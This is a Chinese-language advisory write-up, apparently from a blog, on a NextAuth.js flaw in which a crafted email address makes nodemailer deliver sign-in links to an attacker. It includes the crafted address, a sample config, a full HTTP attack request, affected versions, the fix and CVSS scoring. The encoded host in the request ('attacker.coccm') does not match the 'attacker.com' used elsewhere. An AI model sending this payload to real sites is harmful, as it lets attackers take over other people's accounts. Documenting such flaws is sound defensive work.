NextAuth.js 电子邮件误发漏洞分析

分析NextAuth.js电子邮件身份验证中的安全漏洞,攻击者可通过构造特殊邮箱地址截获本应发送给受害者的认证邮件,涉及nodemailer地址解析器问题。

漏洞概述

NextAuth.js的电子邮件登录功能存在安全漏洞,由于项目使用的nodemailer地址解析器存在缺陷(已在nodemailer v7.0.7中修复),攻击者可以强制将认证邮件发送到其控制的邮箱。

受影响版本

  • next-auth < 4.24.12
  • next-auth >= 5.0.0-beta.0, < 5.0.0-beta.30

技术细节

漏洞原理

当输入构造的特殊邮箱地址如:

1
"e@attacker.com"@victim.com

nodemailer解析器会错误解析,导致邮件被发送到e@attacker.com(攻击者邮箱)而不是预期的"e@attacker.com@victim.com"(受害者在victim.com的邮箱),这违反了RFC 5321/5322语义规范。

攻击影响

攻击者能够接收本应发送给受害者的登录/验证链接或其他敏感邮件。

漏洞验证

示例配置

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
import NextAuth from "next-auth"
import Nodemailer from "next-auth/providers/nodemailer"
import { PrismaAdapter } from "@auth/prisma-adapter"
import { prisma } from "@/lib/prisma"

export const { handlers, auth, signIn, signOut } = NextAuth({
  adapter: PrismaAdapter(prisma),
  providers: [
    Nodemailer({
      server: {
        host: "127.0.0.1",
        port: 1025,
        ...
      },
      from: "noreply@authjs.dev",
    }),
  ],
  pages: {
    signIn: '/auth/signin',
    verifyRequest: '/auth/verify-request',
  },
})

攻击请求示例

1
2
3
4
5
6
7
8
POST /api/auth/signin/nodemailer HTTP/1.1
Accept-Encoding: gzip, deflate, br, zstd
Cache-Control: no-cache
Connection: keep-alive
Content-Length: 176
Content-Type: application/x-www-form-urlencoded

email=%22e%40attacker.coccm%22%40victim.com&csrfToken=90f5e6f48ab577ab011f212011862dcfe546459c23764cf891aab2d176f8d77a&callbackUrl=http%3A%2F%2Flocalhost%3A3000%2Fauth%2Fsignin

修复方案

升级到nodemailer 7.0.7版本。

安全评分

  • CVSS总体评分:6.9(中危)
  • 攻击向量:网络
  • 攻击复杂度:低
  • 权限要求:无
  • 用户交互:无
  • 机密性影响:高
  • 完整性影响:低

参考信息

  • GHSA ID: GHSA-5jpx-9hw9-2fx4
  • 相关提交:nextauthjs/next-auth@82efcf8, nextauthjs/next-auth@8f3b2c7
  • 弱点分类:CWE-200(向未授权参与者暴露敏感信息)
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计